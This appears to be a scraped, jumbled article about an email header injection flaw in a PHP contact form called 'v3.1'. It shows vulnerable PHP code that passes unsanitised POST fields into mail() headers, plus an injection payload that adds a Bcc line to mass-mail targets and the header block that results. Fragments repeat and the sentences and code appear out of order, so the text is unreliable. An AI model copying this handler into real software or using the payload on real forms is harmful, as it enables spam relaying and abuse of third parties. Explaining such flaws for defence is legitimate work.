Php Email Form Validation - V3.1 Exploit 📌

attacker@evil.com\r\nBcc: thousands@targets.com\r\n When the mail() function processes the $headers string, the resulting header block becomes:

in v3.1 was a misguided trust in client-side validation. Developers assumed that because the JavaScript blocked empty fields, the PHP backend didn't need strict filtering. This assumption led to a classic Unvalidated Input → Email Header Injection vulnerability. Technical Breakdown of the Exploit The Vulnerable Code (v3.1 Classic) Below is a simplified reconstruction of the vulnerable form.php handler that earned the "exploit" reputation: php email form validation - v3.1 exploit

// No sanitization. No validation. mail($to, $subject, $message, $headers); attacker@evil

<?php // Vulnerable code - PHP Email Form v3.1 if ($_SERVER["REQUEST_METHOD"] == "POST") $name = $_POST['name']; $email = $_POST['email']; $message = $_POST['message']; $to = "admin@example.com"; $subject = "Contact Form Submission from $name"; $headers = "From: $email\r\n"; $headers .= "Reply-To: $email\r\n";

attacker@evil.com\r\nBcc: thousands@targets.com\r\n When the mail() function processes the $headers string, the resulting header block becomes:

// No sanitization. No validation. mail($to, $subject, $message, $headers);

From: attacker@evil.com Bcc: thousands@targets.com Reply-To: attacker@evil.com